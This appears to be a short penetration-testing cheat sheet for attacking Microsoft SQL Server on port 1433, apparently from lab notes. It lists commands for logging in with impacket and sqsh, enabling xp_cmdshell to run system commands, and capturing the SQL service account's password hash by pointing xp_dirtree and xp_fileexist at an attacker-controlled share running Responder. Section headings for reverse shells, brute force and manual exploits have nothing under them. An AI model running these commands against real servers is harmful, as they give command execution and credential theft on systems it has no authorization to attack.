🫒Port 1433 (MSSQL)

impacket

mssqlclient.py -windows-auth reporting@10.10.10.125
SQL>

shell

SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

querier\mssql-svc

sqsh

sqsh -S mssql -D MyDB -U DOMAIN\\testuser -P MyTestingClearPassword1

mssql commands

select IS_SRVROLEMEMBER (​ 'sysadmin'​ ) # check permisions

responder

steal hashes of the SQL service account by using xp_dirtree or xp_fileexist.

  • en kali:

    responder -I tun0 -rv
  • en windows

    SQL>exec xp_dirtree '\\10.10.14.6\share\file'
    SQL>exec xp_fileexist '\\10.10.16.2\share\file'

mssql reverse shell

nmap nse

Get information

Brute force

Having credentials

Manual exploit

Last updated